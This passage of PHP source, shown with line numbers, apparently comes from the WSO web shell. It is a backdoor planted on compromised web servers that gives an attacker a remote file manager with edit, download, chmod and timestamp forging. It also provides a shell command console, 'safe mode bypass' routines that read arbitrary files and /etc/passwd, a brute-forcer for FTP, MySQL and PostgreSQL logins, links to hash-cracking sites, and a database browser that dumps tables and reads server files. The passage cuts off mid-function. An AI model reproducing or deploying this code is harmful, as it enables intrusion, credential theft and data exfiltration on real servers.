  611. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  612. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  613. $l = $l?0:1;
  614. }
  615. echo "<tr><td colspan=7>
  616. <input type=hidden name=a value='FilesMan'>
  617. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  618. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  619. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  620. if(class_exists('ZipArchive'))
  621. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  622. if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
  623. echo "<option value='paste'>Paste / zip</option>";
  624. echo "</select>&nbsp;<input type='submit' value='>>'></td></tr></form></table></div>";
  625. wsoFooter();
  626. }
  627.  
  628. function actionStringTools() {
  629. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  630. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  631. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  632. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  633. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  634. $stringTools = array(
  635. 'Base64 encode' => 'base64_encode',
  636. 'Base64 decode' => 'base64_decode',
  637. 'Url encode' => 'urlencode',
  638. 'Url decode' => 'urldecode',
  639. 'Full urlencode' => 'full_urlencode',
  640. 'md5 hash' => 'md5',
  641. 'sha1 hash' => 'sha1',
  642. 'crypt' => 'crypt',
  643. 'CRC32' => 'crc32',
  644. 'ASCII to HEX' => 'ascii2hex',
  645. 'HEX to ASCII' => 'hex2ascii',
  646. 'HEX to DEC' => 'hexdec',
  647. 'HEX to BIN' => 'hex2bin',
  648. 'DEC to HEX' => 'dechex',
  649. 'DEC to BIN' => 'decbin',
  650. 'BIN to HEX' => 'binhex',
  651. 'BIN to DEC' => 'bindec',
  652. 'String to lower case' => 'strtolower',
  653. 'String to upper case' => 'strtoupper',
  654. 'Htmlspecialchars' => 'htmlspecialchars',
  655. 'String length' => 'strlen',
  656. );
  657. if(isset($_POST['ajax'])) {
  658. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  659. ob_start();
  660. if(in_array($_POST['p1'], $stringTools))
  661. echo $_POST['p1']($_POST['p2']);
  662. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  663. echo strlen($temp), "\n", $temp;
  664. exit;
  665. }
  666. wsoHeader();
  667. echo '<h1>String conversions</h1><div class=content>';
  668. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  669. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  670. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  671. foreach($stringTools as $k => $v)
  672. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  673. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  674. if(!empty($_POST['p1'])) {
  675. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  676. }
  677. echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  678. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  679. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  680. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  681. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  682. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  683. </table></form>";
  684.  
  685. function wsoRecursiveGlob($path) {
  686. if(substr($path, -1) != '/')
  687. $path.='/';
  688. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  689. if(is_array($paths)&&@count($paths)) {
  690. foreach($paths as $item) {
  691. if(@is_dir($item)){
  692. if($path!=$item)
  693. wsoRecursiveGlob($item);
  694. } else {
  695. if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  696. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  697. }
  698. }
  699. }
  700. }
  701. if(@$_POST['p3'])
  702. wsoRecursiveGlob($_POST['c']);
  703. echo "</div><br><h1>Search for hash:</h1><div class=content>
  704. <form method='post' target='_blank' name='hf'>
  705. <input type='text' name='hash' style='width:200px;'><br>
  706. <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  707. <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  708. <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  709. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  710. <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  711. </form></div>";
  712. wsoFooter();
  713. }
  714.  
  715. function actionFilesTools() {
  716. if( isset($_POST['p1']) )
  717. $_POST['p1'] = urldecode($_POST['p1']);
  718. if(@$_POST['p2']=='download') {
  719. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  720. ob_start("ob_gzhandler", 4096);
  721. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  722. if (function_exists("mime_content_type")) {
  723. $type = @mime_content_type($_POST['p1']);
  724. header("Content-Type: ".$type);
  725. }
  726. $fp = @fopen($_POST['p1'], "r");
  727. if($fp) {
  728. while(!@feof($fp))
  729. echo @fread($fp, 1024);
  730. fclose($fp);
  731. }
  732. }exit;
  733. }
  734. if( @$_POST['p2'] == 'mkfile' ) {
  735. if(!file_exists($_POST['p1'])) {
  736. $fp = @fopen($_POST['p1'], 'w');
  737. if($fp) {
  738. $_POST['p2'] = "edit";
  739. fclose($fp);
  740. }
  741. }
  742. }
  743. wsoHeader();
  744. echo '<h1>File tools</h1><div class=content>';
  745. if( !file_exists(@$_POST['p1']) ) {
  746. echo 'File not exists';
  747. wsoFooter();
  748. return;
  749. }
  750. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  751. if(!$uid) {
  752. $uid['name'] = @fileowner($_POST['p1']);
  753. $gid['name'] = @filegroup($_POST['p1']);
  754. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  755. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  756. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  757. if( empty($_POST['p2']) )
  758. $_POST['p2'] = 'view';
  759. if( is_file($_POST['p1']) )
  760. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  761. else
  762. $m = array('Chmod', 'Rename', 'Touch');
  763. foreach($m as $v)
  764. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  765. echo '<br><br>';
  766. switch($_POST['p2']) {
  767. case 'view':
  768. echo '<pre class=ml1>';
  769. $fp = @fopen($_POST['p1'], 'r');
  770. if($fp) {
  771. while( !@feof($fp) )
  772. echo htmlspecialchars(@fread($fp, 1024));
  773. @fclose($fp);
  774. }
  775. echo '</pre>';
  776. break;
  777. case 'highlight':
  778. if( @is_readable($_POST['p1']) ) {
  779. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  780. $code = @highlight_file($_POST['p1'],true);
  781. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  782. }
  783. break;
  784. case 'chmod':
  785. if( !empty($_POST['p3']) ) {
  786. $perms = 0;
  787. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  788. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  789. if(!@chmod($_POST['p1'], $perms))
  790. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  791. }
  792. clearstatcache();
  793. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  794. break;
  795. case 'edit':
  796. if( !is_writable($_POST['p1'])) {
  797. echo 'File isn\'t writeable';
  798. break;
  799. }
  800. if( !empty($_POST['p3']) ) {
  801. $time = @filemtime($_POST['p1']);
  802. $_POST['p3'] = substr($_POST['p3'],1);
  803. $fp = @fopen($_POST['p1'],"w");
  804. if($fp) {
  805. @fwrite($fp,$_POST['p3']);
  806. @fclose($fp);
  807. echo 'Saved!<br><script>p3_="";</script>';
  808. @touch($_POST['p1'],$time,$time);
  809. }
  810. }
  811. echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  812. $fp = @fopen($_POST['p1'], 'r');
  813. if($fp) {
  814. while( !@feof($fp) )
  815. echo htmlspecialchars(@fread($fp, 1024));
  816. @fclose($fp);
  817. }
  818. echo '</textarea><input type=submit value=">>"></form>';
  819. break;
  820. case 'hexdump':
  821. $c = @file_get_contents($_POST['p1']);
  822. $n = 0;
  823. $h = array('00000000<br>','','');
  824. $len = strlen($c);
  825. for ($i=0; $i<$len; ++$i) {
  826. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  827. switch ( ord($c[$i]) ) {
  828. case 0: $h[2] .= ' '; break;
  829. case 9: $h[2] .= ' '; break;
  830. case 10: $h[2] .= ' '; break;
  831. case 13: $h[2] .= ' '; break;
  832. default: $h[2] .= $c[$i]; break;
  833. }
  834. $n++;
  835. if ($n == 32) {
  836. $n = 0;
  837. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  838. $h[1] .= '<br>';
  839. $h[2] .= "\n";
  840. }
  841. }
  842. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  843. break;
  844. case 'rename':
  845. if( !empty($_POST['p3']) ) {
  846. if(!@rename($_POST['p1'], $_POST['p3']))
  847. echo 'Can\'t rename!<br>';
  848. else
  849. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  850. }
  851. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  852. break;
  853. case 'touch':
  854. if( !empty($_POST['p3']) ) {
  855. $time = strtotime($_POST['p3']);
  856. if($time) {
  857. if(!touch($_POST['p1'],$time,$time))
  858. echo 'Fail!';
  859. else
  860. echo 'Touched!';
  861. } else echo 'Bad time format!';
  862. }
  863. clearstatcache();
  864. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  865. break;
  866. }
  867. echo '</div>';
  868. wsoFooter();
  869. }
  870.  
  871. function actionSafeMode() {
  872. $temp='';
  873. ob_start();
  874. switch($_POST['p1']) {
  875. case 1:
  876. $temp=@tempnam($test, 'cx');
  877. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  878. echo @file_get_contents($temp);
  879. unlink($temp);
  880. } else
  881. echo 'Sorry... Can\'t open file';
  882. break;
  883. case 2:
  884. $files = glob($_POST['p2'].'*');
  885. if( is_array($files) )
  886. foreach ($files as $filename)
  887. echo $filename."\n";
  888. break;
  889. case 3:
  890. $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  891. curl_exec($ch);
  892. break;
  893. case 4:
  894. ini_restore("safe_mode");
  895. ini_restore("open_basedir");
  896. include($_POST['p2']);
  897. break;
  898. case 5:
  899. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  900. $uid = @posix_getpwuid($_POST['p2']);
  901. if ($uid)
  902. echo join(':',$uid)."\n";
  903. }
  904. break;
  905. }
  906. $temp = ob_get_clean();
  907. wsoHeader();
  908. echo '<h1>Safe mode bypass</h1><div class=content>';
  909. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  910. if($temp)
  911. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  912. echo '</div>';
  913. wsoFooter();
  914. }
  915.  
  916. function actionConsole() {
  917. if(isset($_POST['ajax'])) {
  918. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  919. ob_start();
  920. echo "document.cf.cmd.value='';\n";
  921. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  922. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  923. if(@chdir($match[1])) {
  924. $GLOBALS['cwd'] = @getcwd();
  925. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  926. }
  927. }
  928. echo "document.cf.output.value+='".$temp."';";
  929. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  930. $temp = ob_get_clean();
  931. echo strlen($temp), "\n", $temp;
  932. exit;
  933. }
  934. wsoHeader();
  935. echo "<script>
  936. if(window.Event) window.captureEvents(Event.KEYDOWN);
  937. var cmds = new Array('');
  938. var cur = 0;
  939. function kp(e) {
  940. var n = (window.Event) ? e.which : e.keyCode;
  941. if(n == 38) {
  942. cur--;
  943. if(cur>=0)
  944. document.cf.cmd.value = cmds[cur];
  945. else
  946. cur++;
  947. } else if(n == 40) {
  948. cur++;
  949. if(cur < cmds.length)
  950. document.cf.cmd.value = cmds[cur];
  951. else
  952. cur--;
  953. }
  954. }
  955. function add(cmd) {
  956. cmds.pop();
  957. cmds.push(cmd);
  958. cmds.push('');
  959. cur = cmds.length-1;
  960. }
  961. </script>";
  962. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  963. foreach($GLOBALS['aliases'] as $n => $v) {
  964. if($v == '') {
  965. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  966. continue;
  967. }
  968. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  969. }
  970. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  971. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  972. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  973. if(!empty($_POST['p1'])) {
  974. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  975. }
  976. echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
  977. echo '</form></div><script>document.cf.cmd.focus();</script>';
  978. wsoFooter();
  979. }
  980.  
  981. function actionLogout() {
  982. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  983. die('bye!');
  984. }
  985.  
  986. function actionSelfRemove() {
  987.  
  988. if($_POST['p1'] == 'yes')
  989. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  990. die('Shell has been removed');
  991. else
  992. echo 'unlink error!';
  993. if($_POST['p1'] != 'yes')
  994. wsoHeader();
  995. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  996. wsoFooter();
  997. }
  998.  
  999. function actionBruteforce() {
  1000. wsoHeader();
  1001. if( isset($_POST['proto']) ) {
  1002. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1003. if( $_POST['proto'] == 'ftp' ) {
  1004. function bruteForce($ip,$port,$login,$pass) {
  1005. $fp = @ftp_connect($ip, $port?$port:21);
  1006. if(!$fp) return false;
  1007. $res = @ftp_login($fp, $login, $pass);
  1008. @ftp_close($fp);
  1009. return $res;
  1010. }
  1011. } elseif( $_POST['proto'] == 'mysql' ) {
  1012. function bruteForce($ip,$port,$login,$pass) {
  1013. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1014. @mysql_close($res);
  1015. return $res;
  1016. }
  1017. } elseif( $_POST['proto'] == 'pgsql' ) {
  1018. function bruteForce($ip,$port,$login,$pass) {
  1019. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1020. $res = @pg_connect($str);
  1021. @pg_close($res);
  1022. return $res;
  1023. }
  1024. }
  1025. $success = 0;
  1026. $attempts = 0;
  1027. $server = explode(":", $_POST['server']);
  1028. if($_POST['type'] == 1) {
  1029. $temp = @file('/etc/passwd');
  1030. if( is_array($temp) )
  1031. foreach($temp as $line) {
  1032. $line = explode(":", $line);
  1033. ++$attempts;
  1034. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1035. $success++;
  1036. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1037. }
  1038. if(@$_POST['reverse']) {
  1039. $tmp = "";
  1040. for($i=strlen($line[0])-1; $i>=0; --$i)
  1041. $tmp .= $line[0][$i];
  1042. ++$attempts;
  1043. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1044. $success++;
  1045. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1046. }
  1047. }
  1048. }
  1049. } elseif($_POST['type'] == 2) {
  1050. $temp = @file($_POST['dict']);
  1051. if( is_array($temp) )
  1052. foreach($temp as $line) {
  1053. $line = trim($line);
  1054. ++$attempts;
  1055. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1056. $success++;
  1057. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1058. }
  1059. }
  1060. }
  1061. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1062. }
  1063. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1064. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1065. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1066. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1067. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1068. .'<span>Server:port</span></td>'
  1069. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1070. .'<tr><td><span>Brute type</span></td>'
  1071. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1072. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1073. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1074. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1075. .'<td><input type=text name=login value="root"></td></tr>'
  1076. .'<tr><td><span>Dictionary</span></td>'
  1077. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1078. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1079. echo '</div><br>';
  1080. wsoFooter();
  1081. }
  1082.  
  1083. function actionSql() {
  1084. class DbClass {
  1085. var $type;
  1086. var $link;
  1087. var $res;
  1088. function DbClass($type) {
  1089. $this->type = $type;
  1090. }
  1091. function connect($host, $user, $pass, $dbname){
  1092. switch($this->type) {
  1093. case 'mysql':
  1094. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1095. break;
  1096. case 'pgsql':
  1097. $host = explode(':', $host);
  1098. if(!$host[1]) $host[1]=5432;
  1099. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1100. break;
  1101. }
  1102. return false;
  1103. }
  1104. function selectdb($db) {
  1105. switch($this->type) {
  1106. case 'mysql':
  1107. if (@mysql_select_db($db))return true;
  1108. break;
  1109. }
  1110. return false;
  1111. }
  1112. function query($str) {
  1113. switch($this->type) {
  1114. case 'mysql':
  1115. return $this->res = @mysql_query($str);
  1116. break;
  1117. case 'pgsql':
  1118. return $this->res = @pg_query($this->link,$str);
  1119. break;
  1120. }
  1121. return false;
  1122. }
  1123. function fetch() {
  1124. $res = func_num_args()?func_get_arg(0):$this->res;
  1125. switch($this->type) {
  1126. case 'mysql':
  1127. return @mysql_fetch_assoc($res);
  1128. break;
  1129. case 'pgsql':
  1130. return @pg_fetch_assoc($res);
  1131. break;
  1132. }
  1133. return false;
  1134. }
  1135. function listDbs() {
  1136. switch($this->type) {
  1137. case 'mysql':
  1138. return $this->res = @mysql_list_dbs($this->link);
  1139. break;
  1140. case 'pgsql':
  1141. return $this->res = $this->query("SELECT datname FROM pg_database");
  1142. break;
  1143. }
  1144. return false;
  1145. }
  1146. function listTables() {
  1147. switch($this->type) {
  1148. case 'mysql':
  1149. return $this->res = $this->query('SHOW TABLES');
  1150. break;
  1151. case 'pgsql':
  1152. return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
  1153. break;
  1154. }
  1155. return false;
  1156. }
  1157. function error() {
  1158. switch($this->type) {
  1159. case 'mysql':
  1160. return @mysql_error($this->link);
  1161. break;
  1162. case 'pgsql':
  1163. return @pg_last_error($this->link);
  1164. break;
  1165. }
  1166. return false;
  1167. }
  1168. function setCharset($str) {
  1169. switch($this->type) {
  1170. case 'mysql':
  1171. if(function_exists('mysql_set_charset'))
  1172. return @mysql_set_charset($str, $this->link);
  1173. else
  1174. $this->query('SET CHARSET '.$str);
  1175. break;
  1176. case 'pgsql':
  1177. return @pg_set_client_encoding($this->link, $str);
  1178. break;
  1179. }
  1180. return false;
  1181. }
  1182. function loadFile($str) {
  1183. switch($this->type) {
  1184. case 'mysql':
  1185. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1186. break;
  1187. case 'pgsql':
  1188. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1189. $r=array();
  1190. while($i=$this->fetch())
  1191. $r[] = $i['file'];
  1192. $this->query('drop table wso2');
  1193. return array('file'=>implode("\n",$r));
  1194. break;
  1195. }
  1196. return false;
  1197. }
  1198. function dump($table) {
  1199. switch($this->type) {
  1200. case 'mysql':
  1201. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1202. $create = mysql_fetch_array($res);
  1203. echo $create[1].";\n\n";
  1204. $this->query('SELECT * FROM `'.$table.'`');
  1205. while($item = $this->fetch()) {
  1206. $columns = array();
  1207. foreach($item as $k=>$v) {
  1208. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1209. $columns[] = "`".$k."`";
  1210. }
  1211. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1212. }
  1213. break;
  1214. case 'pgsql':
  1215. $this->query('SELECT * FROM '.$table);
  1216. while($item = $this->fetch()) {
  1217. $columns = array();
  1218. foreach($item as $k=>$v) {
  1219. $item[$k] = "'".addslashes($v)."'";
  1220. $columns[] = $k;
  1221. }
  1222. echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1223. }
  1224. break;
  1225. }
  1226. return false;
  1227. }
  1228. };
  1229. $db = new DbClass($_POST['type']);
  1230. if(@$_POST['p2']=='download') {
  1231. ob_start("ob_gzhandler", 4096);
  1232. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1233. $db->selectdb($_POST['sql_base']);
  1234. header("Content-Disposition: attachment; filename=dump.sql");
  1235. header("Content-Type: text/plain");
  1236. foreach($_POST['tbl'] as $v)
  1237. $db->dump($v);
  1238. exit;
  1239. }
  1240. wsoHeader();
  1241. echo "
  1242. <h1>Sql browser</h1><div class=content>
  1243. <form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
  1244. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1245. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1246. <td><select name='type'><option value='mysql' ";
  1247. if(@$_POST['type']=='mysql')echo 'selected';
  1248. echo ">MySql</option><option value='pgsql' ";
  1249. if(@$_POST['type']=='pgsql')echo 'selected';
  1250. echo ">PostgreSql</option></select></td>
  1251. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1252. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1253. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1254. $tmp = "<input type=text name=sql_base value=''>";
  1255. if(isset($_POST['sql_host'])){
  1256. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1257. switch($_POST['charset']) {
  1258. case "Windows-1251": $db->setCharset('cp1251'); break;
  1259. case "UTF-8": $db->setCharset('utf8'); break;
  1260. case "KOI8-R": $db->setCharset('koi8r'); break;
  1261. case "KOI8-U": $db->setCharset('koi8u'); break;
